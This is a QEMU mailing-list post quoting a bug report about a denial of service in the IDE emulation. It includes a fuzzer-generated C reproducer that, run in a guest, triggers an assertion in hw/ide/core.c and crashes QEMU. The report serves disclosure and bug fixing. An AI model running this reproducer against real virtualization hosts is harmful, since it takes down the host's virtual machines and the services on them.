[Qemu-devel] [Bug 1777315] Re: Denial of service

[Marco Elver]

FYI: we've hit this as will with syzkaller testing; this is still
reproducible as-is with latest qemu (commit a6ae238), and the latest
Linux kernel (5.1-rc7).

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https://bugs.launchpad.net/bugs/1777315

Title:
  Denial of service

Status in QEMU:
  In Progress

Bug description:
  Hi,
  QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version 
qemu-2.12.0

  run the program in qemu-2.12.0:
  #define _GNU_SOURCE 
  #include <endian.h>
  #include <sys/syscall.h>
  #include <unistd.h>
  #include <fcntl.h>
  #include <stdio.h>
  #include <string.h>
  #include <sys/stat.h>
  #include <stdint.h>
  #include <string.h>

  static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2)
  {
          if (a0 == 0xc || a0 == 0xb) {
                  char buf[128];
                  sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", 
(uint8_t)a1, (uint8_t)a2);
                  return open(buf, O_RDWR, 0);
          } else {
                  char buf[1024];
                  char* hash;
  strncpy(buf, (char*)a0, sizeof(buf) - 1);
                  buf[sizeof(buf) - 1] = 0;
                  while ((hash = strchr(buf, '#'))) {
                          *hash = '0' + (char)(a1 % 10);
                          a1 /= 10;
                  }
                  return open(buf, a2, 0);
          }
  }

  uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
  void loop()
  {
          long res = 0;
  memcpy((void*)0x20000000, "/dev/sg#", 9);
          res = syz_open_dev(0x20000000, 0, 2);
          if (res != -1)
                  r[0] = res;
          res = syscall(__NR_dup2, r[0], r[0]);
          if (res != -1)
                  r[1] = res;
  *(uint8_t*)0x20000ec0 = 0;
  *(uint8_t*)0x20000ec1 = 0;
  *(uint8_t*)0x20000ec2 = 0;
  *(uint8_t*)0x20000ec3 = 0;
  *(uint32_t*)0x20000ec8 = 0;
  *(uint8_t*)0x20000ed8 = 0;
  *(uint8_t*)0x20000ed9 = 0;
  *(uint8_t*)0x20000eda = 0;
  *(uint8_t*)0x20000edb = 0;
  memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 
12);
          syscall(__NR_write, r[1], 0x20000ec0, 0x323);
  }

  int main()
  {
          syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
          loop();
          return 0;
  }
  this will crash qemu, output information:
   qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == 
s->sg.size' failed.

  
  Thanks 
  owl337

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